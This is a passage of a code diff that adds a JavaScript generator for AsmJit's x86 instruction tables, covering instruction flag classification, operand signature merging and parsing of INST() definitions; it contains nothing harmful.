["movsd"] , rep: false }, + "cmps" : { names: ["cmpsb", "cmpsw", "cmpsd", "cmpsq"], rep: true }, + "movs" : { names: ["movsb", "movsw", "movsd", "movsq"], rep: true }, + "lods" : { names: ["lodsb", "lodsw", "lodsd", "lodsq"], rep: null }, + "scas" : { names: ["scasb", "scasw", "scasd", "scasq"], rep: null }, + "stos" : { names: ["stosb", "stosw", "stosd", "stosq"], rep: null }, + "ins" : { names: ["insb" , "insw" , "insd" ] , rep: null }, + "outs" : { names: ["outsb", "outsw", "outsd"] , rep: null } +}; + +// Map of instructions that can use fixed registers, but are also encodable +// by using any others. This is to simplify some decisions about instruction +// flags as we don't want to see `FixedReg` in `adc` instruction, for example. +const NotFixedInsts = MapUtils.arrayToMap([ + "adc", "add", "and", "cmp", "mov", "or", "sbb", "sub", "test", "xchg", "xor" +]); + +// ---------------------------------------------------------------------------- +// [GenUtils] +// ---------------------------------------------------------------------------- + +class GenUtils { + // Get group of instructions having the same name as understood by AsmJit. + static groupOf(name) { + const remapped = RemappedInsts[name]; + if (!remapped) return isa.query(name); + + const insts = isa.query(remapped.names); + const rep = remapped.rep; + if (rep === null) return insts; + + return insts.filter(function(inst) { + return rep === !!(inst.attributes.REP || inst.attributes.REPNZ); + }); + } + + static hasFixedReg(group) { + for (var i = 0; i < group.length; i++) { + const inst = group[i]; + if (NotFixedInsts[inst.name]) continue; + + const operands = inst.operands; + for (var j = 0; j < operands.length; j++) + if (operands[j].isFixedReg()) + return true; + } + + return false; + } + + static hasFixedMem(group) { + for (var i = 0; i < group.length; i++) { + const inst = group[i]; + if (NotFixedInsts[inst.name]) continue; + + const operands = inst.operands; + for (var j = 0; j < operands.length; j++) + if (operands[j].isFixedMem()) + return true; + } + + return false; + } + + static cpuArchOf(group) { + var anyArch = false; + var x86Arch = false; + var x64Arch = false; + + for (var i = 0; i < group.length; i++) { + const inst = group[i]; + if (inst.arch === "ANY") anyArch = true; + if (inst.arch === "X86") x86Arch = true; + if (inst.arch === "X64") x64Arch = true; + } + + return anyArch || (x86Arch && x64Arch) ? "[ANY]" : x86Arch ? "[X86]" : "[X64]"; + } + + static cpuFeaturesOf(group) { + const features = Object.create(null); + + for (var i = 0; i < group.length; i++) + for (var feature in group[i].extensions) + features[feature] = true; + + const result = Object.getOwnPropertyNames(features); + result.sort(); + return result; + } + + static specialsOf(group) { + const r = Object.create(null); + const w = Object.create(null); + + for (var i = 0; i < group.length; i++) { + const inst = group[i]; + const specialRegs = inst.specialRegs; + + // Mov is a special case, moving to/from control regs makes flags undefined, + // which we don't want to have in `X86InstDB::operationData`. This is, thus, + // a special case instruction analyzer must deal with. + if (inst.name === "mov") + continue; + + for (var specialReg in specialRegs) { + const group = isa.specialRegs[specialReg].group; + const op = specialRegs[specialReg]; + + switch (op) { + case "R": + r[group] = true; + break; + case "X": + r[group] = true; + // .. fallthrough ... + case "W": + case "U": + case "0": + case "1": + w[group] = true; + break; + } + } + } + + const rArray = Object.getOwnPropertyNames(r); + const wArray = Object.getOwnPropertyNames(w); + + rArray.sort(); + wArray.sort(); + + return [rArray, wArray]; + } + + static flagsOf(group) { + function getAccess(inst) { + const operands = inst.operands; + if (!operands.length) return ""; + + if (inst.name === "xchg" || inst.name === "xadd") + return "UseXX"; + + const op = operands[0]; + if (!op.isRegOrMem()) + return ""; + else if (op.read && op.write) + return "UseX"; + else + return op.read ? "UseR" :"UseW"; + } + + function replace(map, a, b, c) { + if (map[a] && map[b]) { + delete map[a]; + delete map[b]; + map[c] = true; + } + } + + const f = Object.create(null); + var i, j; + + var mib = group.length > 0 && /^(?:bndldx|bndstx)$/.test(group[0].name); + var access = ""; + var ambiguous = false; + + for (i = 0; i < group.length; i++) { + const inst = group[i]; + const name = inst.name; + + const acc = getAccess(inst); + if (!access) + access = acc; + else if (access !== acc) + ambiguous = true; + } + + // Default to "RO" if there is no access information nor operands. + if (!access) access = "UseR"; + if (ambiguous) access = "UseA"; + if (access) { + if (access === "UseXX") + f.UseX = true; + f[access] = true; + } + + if (mib) f.Mib = true; + + const fixedReg = GenUtils.hasFixedReg(group); + const fixedMem = GenUtils.hasFixedMem(group); + + if (fixedReg && fixedMem) + f.FixedRM = true; + else if (fixedReg) + f.FixedReg = true; + else if (fixedMem) + f.FixedMem = true; + + var mmx = false; + var vec = false; + + for (i = 0; i < group.length; i++) { + const inst = group[i]; + const operands = inst.operands; + + if (inst.name === "emms") + mmx = true; + + if (inst.name === "vzeroall" || inst.name === "vzeroupper") + vec = true; + + for (j = 0; j < operands.length; j++) { + const op = operands[j]; + if (op.reg === "mm") + mmx = true; + else if (/^(k|xmm|ymm|zmm)$/.test(op.reg)) { + vec = true; + } + } + } + + if (mmx) f.Mmx = true; + if (vec) f.Vec = true; + + for (i = 0; i < group.length; i++) { + const inst = group[i]; + const name = inst.name; + const operands = inst.operands; + + if (inst.attributes.LOCK ) f.Lock = true; + if (inst.attributes.REP ) f.Rep = true; + if (inst.attributes.REPNZ ) f.Repnz = true; + if (inst.attributes.XACQUIRE) f.XAcquire = true; + if (inst.attributes.XRELEASE) f.XRelease = true; + + if (inst.fpu) { + for (var j = 0; j < operands.length; j++) { + const op = operands[j]; + if (op.memSize === 16) f.FpuM16 = true; + if (op.memSize === 32) f.FpuM32 = true; + if (op.memSize === 64) f.FpuM64 = true; + if (op.memSize === 80) f.FpuM80 = true; + } + } + + if (inst.vsibReg) + f.Vsib = true; + + if (inst.prefix === "VEX" || inst.prefix === "XOP") + f.Vex = true; + + if (inst.prefix === "EVEX") { + f.Evex = true; + + if (inst.kmask) f.Avx512K = true; + if (inst.zmask) f.Avx512Z = true; + + if (inst.er) f.Avx512ER = true; + if (inst.sae) f.Avx512SAE = true; + + if (inst.broadcast) f["Avx512B" + String(inst.elementSize)] = true; + if (inst.tupleType === "T1_4X") f.Avx512T4X = true; + } + } + + replace(f, "Avx512K" , "Avx512Z" , "Avx512KZ"); + replace(f, "Avx512ER" , "Avx512SAE" , "Avx512ER_SAE"); + replace(f, "Avx512KZ" , "Avx512SAE" , "Avx512KZ_SAE"); + replace(f, "Avx512KZ" , "Avx512ER_SAE", "Avx512KZ_ER_SAE"); + replace(f, "Avx512K" , "Avx512B32" , "Avx512K_B32"); + replace(f, "Avx512K" , "Avx512B64" , "Avx512K_B64"); + replace(f, "Avx512KZ" , "Avx512B32" , "Avx512KZ_B32"); + replace(f, "Avx512KZ" , "Avx512B64" , "Avx512KZ_B64"); + replace(f, "Avx512KZ_SAE" , "Avx512B32" , "Avx512KZ_SAE_B32"); + replace(f, "Avx512KZ_SAE" , "Avx512B64" , "Avx512KZ_SAE_B64"); + replace(f, "Avx512KZ_ER_SAE", "Avx512B32" , "Avx512KZ_ER_SAE_B32"); + replace(f, "Avx512KZ_ER_SAE", "Avx512B64" , "Avx512KZ_ER_SAE_B64"); + + return Object.getOwnPropertyNames(f); + } + + static operationFlagsOf(group) { + const f = Object.create(null); + + for (var i = 0; i < group.length; i++) { + const inst = group[i]; + const name = inst.name; + + const operands = inst.operands; + + // Special case: MOV undefines flags if moving between GP and CR|DR registers. + if (name === "mov") + f.MovCrDr = true; + + // Special case: MOVSS|MOVSD zeroes the remaining part of destination if source operand is memory. + if ((name === "movss" || name === "movsd") && !inst.attributes.REP) + f.MovSsSd = true; + + // Hardware prefetch. + if (name.startsWith("prefetch")) + f.Prefetch = true; + + // Memory barrier. + if (/^[lms]fence$/.test(name)) + f.Barrier = true; + + // Instruction is volatile. + if (inst.attributes.VOLATILE) + f.Volatile = true; + + // Instruction is privileged. + if (inst.privilege !== "L3") + f.Privileged = true; + } + + return Object.getOwnPropertyNames(f); + } + + static eqOps(aOps, aFrom, bOps, bFrom) { + var x = 0; + for (;;) { + const aIndex = x + aFrom; + const bIndex = x + bFrom; + + const aOut = aIndex >= aOps.length; + const bOut = bIndex >= bOps.length; + + if (aOut || bOut) + return !!(aOut && bOut); + + const aOp = aOps[aIndex]; + const bOp = bOps[bIndex]; + + if (aOp.data !== bOp.data) + return false; + + x++; + } + } + + static singleRegCase(name) { + switch (name) { + case "xchg" : + + case "and" : + case "pand" : case "vpand" : case "vpandd" : case "vpandq" : + case "andpd" : case "vandpd" : + case "andps" : case "vandps" : + + case "or" : + case "por" : case "vpor" : case "vpord" : case "vporq" : + case "orpd" : case "vorpd" : + case "orps" : case "vorps" : + + case "pminsb" : case "vpminsb" : case "pmaxsb" : case "vpmaxsb" : + case "pminsw" : case "vpminsw" : case "pmaxsw" : case "vpmaxsw" : + case "pminsd" : case "vpminsd" : case "pmaxsd" : case "vpmaxsd" : + case "pminub" : case "vpminub" : case "pmaxub" : case "vpmaxub" : + case "pminuw" : case "vpminuw" : case "pmaxuw" : case "vpmaxuw" : + case "pminud" : case "vpminud" : case "pmaxud" : case "vpmaxud" : + return "RO"; + + case "pandn" : case "vpandn" : case "vpandnd" : case "vpandnq" : + + case "xor" : + case "pxor" : case "vpxor" : case "vpxord" : case "vpxorq" : + case "xorpd" : case "vxorpd" : + case "xorps" : case "vxorps" : + + case "sub" : + case "psubb" : case "vpsubb" : + case "psubw" : case "vpsubw" : + case "psubd" : case "vpsubd" : + case "psubq" : case "vpsubq" : + case "psubsb" : case "vpsubsb" : case "psubusb" : case "vpsubusb" : + case "psubsw" : case "vpsubsw" : case "psubusw" : case "vpsubusw" : + + case "vpcmpeqb": case "pcmpeqb" : case "vpcmpgtb": case "pcmpgtb" : + case "vpcmpeqw": case "pcmpeqw" : case "vpcmpgtw": case "pcmpgtw" : + case "vpcmpeqd": case "pcmpeqd" : case "vpcmpgtd": case "pcmpgtd" : + case "vpcmpeqq": case "pcmpeqq" : case "vpcmpgtq": case "pcmpgtq" : + + case "vpcmpb" : case "vpcmpub" : + case "vpcmpd" : case "vpcmpud" : + case "vpcmpw" : case "vpcmpuw" : + case "vpcmpq" : case "vpcmpuq" : + return "WO"; + + default: + return "None"; + } + } + + static jumpType(name) { + switch (name) { + case "jo" : + case "jno": + case "jb" : case "jnae": + case "jae": case "jnb" : + case "je" : case "jz" : + case "jne": case "jnz" : + case "jbe": case "jna" : + case "js" : + case "jns": + case "jp" : case "jpe" : + case "jnp": case "jpo" : + case "jl" : case "jnge": + case "jge": case "jnl" : + case "jle": case "jng" : + case "jg" : case "jnle": + case "jecxz": + case "loop": + case "loope": + case "loopne": + case "xbegin": + return "Conditional"; + + case "jmp" : return "Direct"; + case "call": return "Call"; + case "ret" : return "Return"; + + default: + return "None"; + } + } +} + +// ---------------------------------------------------------------------------- +// [Generate] +// ---------------------------------------------------------------------------- + +const RegOp = MapUtils.arrayToMap([ + "al", "ah", "ax", "eax", "rax", "cl", + "r8lo", "r8hi", "r16", "r32", "r64", "fp", "mm", "k", "xmm", "ymm", "zmm", "bnd", "sreg", "creg", "dreg" +]); + +const MemOp = MapUtils.arrayToMap([ + "m8", "m16", "m32", "m48", "m64", "m80", "m128", "m256", "m512", "m1024" +]); + +const OpSortPriority = { + "read" :-9, + "write" :-8, + "rw" :-7, + "implicit":-6, + + "r8lo" : 1, + "r8hi" : 2, + "r16" : 3, + "r32" : 4, + "r64" : 5, + "fp" : 6, + "mm" : 7, + "k" : 8, + "xmm" : 9, + "ymm" : 10, + "zmm" : 11, + "sreg" : 12, + "bnd" : 13, + "creg" : 14, + "dreg" : 15, + + "mem" : 30, + "vm" : 31, + "m8" : 32, + "m16" : 33, + "m32" : 34, + "m48" : 35, + "m64" : 36, + "m80" : 37, + "m128" : 38, + "m256" : 39, + "m512" : 40, + "m1024" : 41, + "mib" : 42, + "vm32x" : 43, + "vm32y" : 44, + "vm32z" : 45, + "vm64x" : 46, + "vm64y" : 47, + "vm64z" : 48, + "memBase" : 49, + "memES" : 50, + "memDS" : 51, + + "i4" : 60, + "u4" : 61, + "i8" : 62, + "u8" : 63, + "i16" : 64, + "u16" : 65, + "i32" : 66, + "u32" : 67, + "i64" : 68, + "u64" : 69, + + "rel8" : 70, + "rel32" : 71 +}; + +const OpToAsmJitOp = { + "read" : "FLAG(R)", + "write" : "FLAG(W)", + "rw" : "FLAG(X)", + "implicit": "FLAG(Implicit)", + + "r8lo" : "FLAG(GpbLo)", + "r8hi" : "FLAG(GpbHi)", + "r16" : "FLAG(Gpw)", + "r32" : "FLAG(Gpd)", + "r64" : "FLAG(Gpq)", + "fp" : "FLAG(Fp)", + "mm" : "FLAG(Mm)", + "k" : "FLAG(K)", + "xmm" : "FLAG(Xmm)", + "ymm" : "FLAG(Ymm)", + "zmm" : "FLAG(Zmm)", + "bnd" : "FLAG(Bnd)", + "sreg" : "FLAG(Seg)", + "creg" : "FLAG(Cr)", + "dreg" : "FLAG(Dr)", + + "mem" : "FLAG(Mem)", + "vm" : "FLAG(Vm)", + + "m8" : "MEM(M8)", + "m16" : "MEM(M16)", + "m32" : "MEM(M32)", + "m48" : "MEM(M48)", + "m64" : "MEM(M64)", + "m80" : "MEM(M80)", + "m128" : "MEM(M128)", + "m256" : "MEM(M256)", + "m512" : "MEM(M512)", + "m1024" : "MEM(M1024)", + "mib" : "MEM(Mib)", + "mAny" : "MEM(Any)", + "vm32x" : "MEM(Vm32x)", + "vm32y" : "MEM(Vm32y)", + "vm32z" : "MEM(Vm32z)", + "vm64x" : "MEM(Vm64x)", + "vm64y" : "MEM(Vm64y)", + "vm64z" : "MEM(Vm64z)", + + "memBase" : "MEM(BaseOnly)", + "memDS" : "MEM(Ds)", + "memES" : "MEM(Es)", + + "i4" : "FLAG(I4)", + "u4" : "FLAG(U4)", + "i8" : "FLAG(I8)", + "u8" : "FLAG(U8)", + "i16" : "FLAG(I16)", + "u16" : "FLAG(U16)", + "i32" : "FLAG(I32)", + "u32" : "FLAG(U32)", + "i64" : "FLAG(I64)", + "u64" : "FLAG(U64)", + + "rel8" : "FLAG(Rel8)", + "rel32" : "FLAG(Rel32)" +}; + +function OpSortFunc(a, b) { + return (OpSortPriority[a] || 0) - (OpSortPriority[b] || 0); +} + +function SortOpArray(a) { + a.sort(OpSortFunc); + return a; +} + +function StringifyArray(a, map) { + var s = ""; + for (var i = 0; i < a.length; i++) { + const op = a[i]; + if (!hasOwn.call(map, op)) + throw new Error(`UNHANDLED OPERAND '${op}'`); + s += (s ? " | " : "") + map[op]; + } + return s ? s : "0"; +} + +class OSignature { + constructor() { + this.flags = Object.create(null); + } + + equals(other) { + return MapUtils.equals(this.flags, other.flags); + } + + xor(other) { + const result = MapUtils.xor(this.flags, other.flags); + return Object.getOwnPropertyNames(result).length === 0 ? null : result; + } + + mergeWith(other) { + const af = this.flags; + const bf = other.flags; + + var k; + var indexKind = ""; + var hasReg = false; + + for (k in af) { + const index = x86.Utils.regIndexOf(k); + const kind = x86.Utils.regKindOf(k); + + if (kind) + hasReg = true; + + if (index !== null && index !== -1) + indexKind = kind; + } + + if (hasReg) { + for (k in bf) { + const index = x86.Utils.regIndexOf(k); + if (index !== null && index !== -1) { + const kind = x86.Utils.regKindOf(k); + if (indexKind !== kind) return false; + } + } + } + + // Can merge... + for (k in bf) af[k] = true; + return true; + } + + simplify() { + const flags = this.flags; + + // Implicit register when also any other register can be specified. + if (flags.al && flags.r8lo) delete flags["al"]; + if (flags.ah && flags.r8hi) delete flags["ah"]; + if (flags.ax && flags.r16 ) delete flags["ax"]; + if (flags.eax && flags.r32 ) delete flags["eax"]; + if (flags.rax && flags.r64 ) delete flags["rax"]; + + // 32-bit register or 16-bit memory implies also 16-bit reg. + if (flags.r32 && flags.m16) { + flags.r16 = true; + } + + // 32-bit register or 8-bit memory implies also 16-bit and 8-bit reg. + if (flags.r32 && flags.m8) { + flags.r8lo = true; + flags.r8hi = true; + flags.r16 = true; + } + } + + toString() { + var s = ""; + var flags = this.flags; + var prefix = (flags.read && flags.write) ? "X:" : (flags.write) ? "W:" : "R:"; + + for (var k in flags) { + if (k === "read" || k === "write" || k === "implicit" || k === "memDS" || k === "memES") + continue; + + var x = k; + if (x === "memZAX") x = "zax"; + if (x === "memZDI") x = "zdi"; + if (x === "memZSI") x = "zsi"; + s += (s ? "|" : "") + x; + } + + if (flags.memDS) s = "ds:[" + s + "]"; + if (flags.memES) s = "es:[" + s + "]"; + + if (flags.implicit) + s = "<" + s + ">"; + + return prefix + s; + } + + toAsmJitOpData() { + var oFlags = this.flags; + + var mFlags = Object.create(null); + var mMemFlags = Object.create(null); + var mExtFlags = Object.create(null); + var sRegMask = 0; + + if (oFlags.read && oFlags.write) + mFlags.rw = true; + else if (oFlags.write) + mFlags.write = true; + else + mFlags.read = true; + + for (var k in oFlags) { + switch (k) { + case "read" : break; + case "write" : break; + + case "implicit": + case "r8lo" : + case "r8hi" : + case "r16" : + case "r32" : + case "r64" : + case "creg" : + case "dreg" : + case "sreg" : + case "bnd" : + case "fp" : + case "k" : + case "mm" : + case "xmm" : + case "ymm" : + case "zmm" : mFlags[k] = true; break; + + case "m8" : + case "m16" : + case "m32" : + case "m48" : + case "m64" : + case "m80" : + case "m128" : + case "m256" : + case "m512" : + case "m1024" : mFlags.mem = true; mMemFlags[k] = true; break; + case "mib" : mFlags.mem = true; mMemFlags.mib = true; break; + case "mem" : mFlags.mem = true; mMemFlags.mAny = true; break; + + case "memDS" : mFlags.mem = true; mMemFlags.memDS = true; break; + case "memES" : mFlags.mem = true; mMemFlags.memES = true; break; + case "memZAX" : mFlags.mem = true; sRegMask |= 1 << 0; mMemFlags.memBase = true; break; + case "memZSI" : mFlags.mem = true; sRegMask |= 1 << 6; mMemFlags.memBase = true; break; + case "memZDI" : mFlags.mem = true; sRegMask |= 1 << 7; mMemFlags.memBase = true; break; + + case "vm32x" : mFlags.vm = true; mMemFlags.vm32x = true; break; + case "vm32y" : mFlags.vm = true; mMemFlags.vm32y = true; break; + case "vm32z" : mFlags.vm = true; mMemFlags.vm32z = true; break; + case "vm64x" : mFlags.vm = true; mMemFlags.vm64x = true; break; + case "vm64y" : mFlags.vm = true; mMemFlags.vm64y = true; break; + case "vm64z" : mFlags.vm = true; mMemFlags.vm64z = true; break; + + case "i4" : + case "u4" : + case "i8" : + case "u8" : + case "i16" : + case "u16" : + case "i32" : + case "u32" : + case "i64" : + case "u64" : mFlags[k] = true; break; + + case "rel8" : + case "rel32" : + mFlags.i32 = true; + mFlags.i64 = true; + mFlags[k] = true; + break; + + case "rel16" : + mFlags.i32 = true; + mFlags.i64 = true; + mFlags.rel32 = true; + break; + + default: { + switch (k) { + case "es" : mFlags.sreg = true; sRegMask |= 1 << 1; break; + case "cs" : mFlags.sreg = true; sRegMask |= 1 << 2; break; + case "ss" : mFlags.sreg = true; sRegMask |= 1 << 3; break; + case "ds" : mFlags.sreg = true; sRegMask |= 1 << 4; break; + case "fs" : mFlags.sreg = true; sRegMask |= 1 << 5; break; + case "gs" : mFlags.sreg = true; sRegMask |= 1 << 6; break; + case "al" : mFlags.r8lo = true; sRegMask |= 1 << 0; break; + case "ah" : mFlags.r8hi = true; sRegMask |= 1 << 0; break; + case "ax" : mFlags.r16 = true; sRegMask |= 1 << 0; break; + case "eax" : mFlags.r32 = true; sRegMask |= 1 << 0; break; + case "rax" : mFlags.r64 = true; sRegMask |= 1 << 0; break; + case "bl" : mFlags.r8lo = true; sRegMask |= 1 << 3; break; + case "bh" : mFlags.r8hi = true; sRegMask |= 1 << 3; break; + case "bx" : mFlags.r16 = true; sRegMask |= 1 << 3; break; + case "ebx" : mFlags.r32 = true; sRegMask |= 1 << 3; break; + case "rbx" : mFlags.r64 = true; sRegMask |= 1 << 3; break; + case "cl" : mFlags.r8lo = true; sRegMask |= 1 << 1; break; + case "ch" : mFlags.r8hi = true; sRegMask |= 1 << 1; break; + case "cx" : mFlags.r16 = true; sRegMask |= 1 << 1; break; + case "ecx" : mFlags.r32 = true; sRegMask |= 1 << 1; break; + case "rcx" : mFlags.r64 = true; sRegMask |= 1 << 1; break; + case "dl" : mFlags.r8lo = true; sRegMask |= 1 << 2; break; + case "dh" : mFlags.r8hi = true; sRegMask |= 1 << 2; break; + case "dx" : mFlags.r16 = true; sRegMask |= 1 << 2; break; + case "edx" : mFlags.r32 = true; sRegMask |= 1 << 2; break; + case "rdx" : mFlags.r64 = true; sRegMask |= 1 << 2; break; + case "si" : mFlags.r16 = true; sRegMask |= 1 << 6; break; + case "esi" : mFlags.r32 = true; sRegMask |= 1 << 6; break; + case "rsi" : mFlags.r64 = true; sRegMask |= 1 << 6; break; + case "di" : mFlags.r16 = true; sRegMask |= 1 << 7; break; + case "edi" : mFlags.r32 = true; sRegMask |= 1 << 7; break; + case "rdi" : mFlags.r64 = true; sRegMask |= 1 << 7; break; + case "fp0" : mFlags.fp = true; sRegMask |= 1 << 0; break; + case "xmm0" : mFlags.xmm = true; sRegMask |= 1 << 0; break; + case "ymm0" : mFlags.ymm = true; sRegMask |= 1 << 0; break; + default: + console.log(`UNKNOWN OPERAND '${k}'`); + } + } + } + } + + const sFlags = StringifyArray(SortOpArray(Object.getOwnPropertyNames(mFlags )), OpToAsmJitOp); + const sMemFlags = StringifyArray(SortOpArray(Object.getOwnPropertyNames(mMemFlags)), OpToAsmJitOp); + const sExtFlags = StringifyArray(SortOpArray(Object.getOwnPropertyNames(mExtFlags)), OpToAsmJitOp); + + return `OSIGNATURE(${sFlags || 0}, ${sMemFlags || 0}, ${sExtFlags || 0}, ${StringUtils.decToHex(sRegMask, 2)})`; + } +} + +class ISignature extends Array { + constructor(name) { + super(); + this.name = name; + this.x86 = false; + this.x64 = false; + this.implicit = 0; // Number of implicit operands. + } + + simplify() { + for (var i = 0; i < this.length; i++) + this[i].simplify(); + } + + opEquals(other) { + const len = this.length; + if (len !== other.length) return false; + + for (var i = 0; i < len; i++) + if (!this[i].equals(other[i])) + return false; + + return true; + } + + mergeWith(other) { + // If both architectures are the same, it's fine to merge. + var ok = this.x86 === other.x86 && this.x64 === other.x64; + + // If the first arch is [X86|X64] and the second [X64] it's also fine. + if (!ok && this.x86 && this.x64 && !other.x86 && other.x64) + ok = true; + + // It's not ok if both signatures have different number of implicit operands. + if (!ok || this.implicit !== other.implicit) + return false; + + // It's not ok if both signatures have different number of operands. + const len = this.length; + if (len !== other.length) + return false; + + var xorIndex = -1; + for (var i = 0; i < len; i++) { + const xor = this[i].xor(other[i]); + if (xor === null) continue; + + if (xorIndex === -1) + xorIndex = i; + else + return false; + } + + // Bail if mergeWidth at operand-level failed. + if (xorIndex !== -1 && !this[xorIndex].mergeWith(other[xorIndex])) + return false; + + this.x86 = this.x86 || other.x86; + this.x64 = this.x64 || other.x64; + + return true; + } + + toString() { + return "{" + this.join(", ") + "}"; + } +} + +class SignatureArray extends Array { + // Iterate over all signatures and check which operands don't need explicit memory size. + calcImplicitMemSize() { + // Calculates a hash-value (aka key) of all register operands specified by `regOps` in `inst`. + function keyOf(inst, regOps) { + var s = ""; + for (var i = 0; i < inst.length; i++) { + const op = inst[i]; + if (regOps & (1 << i)) { + const props = Object.getOwnPropertyNames(MapUtils.and(op.flags, RegOp)); + props.sort(); + s += "{" + props.join("|") + "}"; + } + } + return s || "?"; + } + + var i; + var aIndex, bIndex; + + for (aIndex = 0; aIndex < this.length; aIndex++) { + const aInst = this[aIndex]; + const len = aInst.length; + + var memOp = ""; + var memPos = -1; + var regOps = 0; + + // Check if this instruction signature has a memory operand of explicit size. + for (i = 0; i < len; i++) { + const aOp = aInst[i]; + const mem = MapUtils.firstOf(aOp.flags, MemOp); + + if (mem) { + // Stop if the memory operand is implicit or if there is more than one. + if (aOp.flags.mem || memPos >= 0) { + memPos = -1; + break; + } + else { + memOp = mem; + memPos = i; + } + } + else if (MapUtils.anyOf(aOp.flags, RegOp)) { + // Doesn't consider 'r/m' as we already checked 'm'. + regOps |= (1 << i); + } + } + + if (memPos < 0) + continue; + + // Create a `sameSizeSet` set of all instructions having the exact + // explicit memory operand at the same position and registers at + // positions matching `regOps` bits and `diffSizeSet` having memory + // operand of different size, but registers at the same positions. + const sameSizeSet = [aInst]; + const diffSizeSet = []; + const diffSizeHash = Object.create(null); + + for (bIndex = 0; bIndex < this.length; bIndex++) { + const bInst = this[bIndex]; + if (aIndex === bIndex || len !== bInst.length) continue; + + var hasMatch = 1; + for (i = 0; i < len; i++) { + if (i === memPos) continue; + + const reg = MapUtils.anyOf(bInst[i].flags, RegOp); + if (regOps & (1 << i)) + hasMatch &= reg; + else if (reg) + hasMatch = 0; + } + + if (hasMatch) { + const bOp = bInst[memPos]; + if (bOp.flags.mem) continue; + + const mem = MapUtils.firstOf(bOp.flags, MemOp); + if (mem === memOp) { + sameSizeSet.push(bInst); + } + else if (mem) { + const key = keyOf(bInst, regOps); + diffSizeSet.push(bInst); + if (!diffSizeHash[key]) + diffSizeHash[key] = [bInst]; + else + diffSizeHash[key].push(bInst); + } + } + } + + // Two cases. + // A) The memory operand is implicit if `diffSizeSet` is empty. That means + // that the instruction only uses one size for all reg combinations. + // + // B) The memory operand is implicit if `diffSizeSet` contains different + // register signatures than `sameSizeSet`. + var implicit = true; + + if (!diffSizeSet.length) { + // Case A: + } + else { + // Case B: Find collisions in `sameSizeSet` and `diffSizeSet`. + for (bIndex = 0; bIndex < sameSizeSet.length; bIndex++) { + const bInst = sameSizeSet[bIndex]; + const key = keyOf(bInst, regOps); + + const diff = diffSizeHash[key]; + if (diff) { + diff.forEach(function(diffInst) { + if ((bInst.x86 && !diffInst.x86) || (!bInst.x86 && diffInst.x86)) { + // If this is X86|ANY instruction and the other is X64, or vice-versa, + // then keep this implicit as it won't do any harm. These instructions + // cannot be mixed and it will make implicit the 32-bit one in cases + // where X64 introduced 64-bit ones like `cvtsi2ss`. + } + else { + implicit = false; + } + }); + } + } + } + + // Patch all instructions to accept implicit memory operand. + for (bIndex = 0; bIndex < sameSizeSet.length; bIndex++) { + const bInst = sameSizeSet[bIndex]; + if (implicit) bInst[memPos].flags.mem = true; + + if (DEBUG && !implicit) + console.log(`${this.name}: Explicit: ${bInst}`); + } + } + } + + simplify() { + for (var i = 0; i < this.length; i++) + this[i].simplify(); + } + + compact() { + for (var i = 0; i < this.length; i++) { + var row = this[i]; + var j = i + 1; + while (j < this.length) { + if (row.mergeWith(this[j])) { + this.splice(j, 1); + continue; + } + j++; + } + } + } + + toString() { + return `[${this.join(", ")}]`; + } +} + +// ---------------------------------------------------------------------------- +// [X86Generator] +// ---------------------------------------------------------------------------- + +class X86Generator extends base.BaseGenerator { + constructor() { + super("X86"); + + this.opCombinations = Object.create(null); + this.maxOpRows = 0; + + this.opBlackList = { + "moff8" : true, + "moff16": true, + "moff32": true, + "moff64": true + }; + + this.load([ + "src/asmjit/x86/x86inst.cpp", + "src/asmjit/x86/x86inst.h" + ]); + } + + signaturesFromInsts(insts) { + const signatures = new SignatureArray(); + + for (var i = 0; i < insts.length; i++) { + const inst = insts[i]; + const ops = inst.operands; + + var row = new ISignature(inst.name); + + row.x86 = (inst.arch === "ANY" || inst.arch === "X86"); + row.x64 = (inst.arch === "ANY" || inst.arch === "X64"); + + for (var j = 0; j < ops.length; j++) { + var iop = ops[j]; + + var reg = iop.reg; + var mem = iop.mem; + var imm = iop.imm; + var rel = iop.rel; + + // Terminate if this operand is something asmjit doesn't support + // and skip all instructions having implicit `imm` operand of `1` + // (handled fine by asmjit). + if (this.opBlackList[mem] === true || iop.immValue !== null) { + row = null; + break; + } + + if (reg === "r8") reg = "r8lo"; + if (reg === "seg") reg = "sreg"; + if (reg === "st(i)") reg = "fp"; + if (reg === "st(0)") reg = "fp0"; + + if (mem === "m32fp") mem = "m32"; + if (mem === "m64fp") mem = "m64"; + if (mem === "m80fp") mem = "m80"; + if (mem === "m80bcd") mem = "m80"; + if (mem === "m80dec") mem = "m80"; + if (mem === "m16int") mem = "m16"; + if (mem === "m32int") mem = "m32"; + if (mem === "m64int") mem = "m64"; + + if (mem === "m16_16") mem = "m32"; + if (mem === "m16_32") mem = "m48"; + if (mem === "m16_64") mem = "m80"; + + const op = new OSignature(); + + if (iop.read) op.flags.read = true; + if (iop.write) op.flags.write = true; + + if (iop.implicit) { + row.implicit++; + op.flags.implicit = true; + } + + if (iop.memSeg) { + if (iop.memSeg === "ds") op.flags.memDS = true; + if (iop.memSeg === "es") op.flags.memES = true; + if (reg === "zax") op.flags.memZAX = true; + if (reg === "zsi") op.flags.memZSI = true; + if (reg === "zdi") op.flags.memZDI = true; + } + else if (reg) { + op.flags[reg] = true; + if (reg === "r8lo") op.flags.r8hi = true; + } + + if (mem) { + op.flags[mem] = true; + + // Exception: Allow LEA to contain any memory size. + if (inst.name === "lea") MapUtils.add(op.flags, MemOp); + } + + if (imm) { + if (iop.immSign === "any" || iop.immSign === "signed" ) op.flags["i" + imm] = true; + if (iop.immSign === "any" || iop.immSign === "unsigned") op.flags["u" + imm] = true; + } + if (rel) op.flags["rel" + rel] = true; + + row.push(op); + } + + if (row) + signatures.push(row); + } + + signatures.calcImplicitMemSize(); + signatures.simplify(); + signatures.compact(); + + signatures.simplify(); + signatures.compact(); + + return signatures; + } + + // -------------------------------------------------------------------------- + // [Parse] + // -------------------------------------------------------------------------- + + parse() { + const data = this.dataOf("src/asmjit/x86/x86inst.cpp"); + const re = new RegExp( + "INST\\(" + + "([A-Za-z0-9_]+)\\s*" + "," + // [01] Instruction. + "([^,]+)" + "," + // [02] Encoding. + "(.{26}[^,]*)" + "," + // [03] Opcode[0]. + "(.{26}[^,]*)" + "," + // [04] Opcode[1]. + "([^,]+)" + "," + // [05] Write-Index. + "([^,]+)" + "," + // [06] Write-Size. + // --- autogenerated fields --- + "([^\\)]+)" + "," + // [07] NameIndex. + "([^\\)]+)" + "," + // [08] CommonDataIndex. + "([^\\)]+)" + "\\)",// [09] OperationDataIndex. + "g"); + + var m; + while ((m = re.exec(data)) !== null) { + var enum_ = m[1]; + var name = enum_ === "None" ? "" : enum_.toLowerCase(); 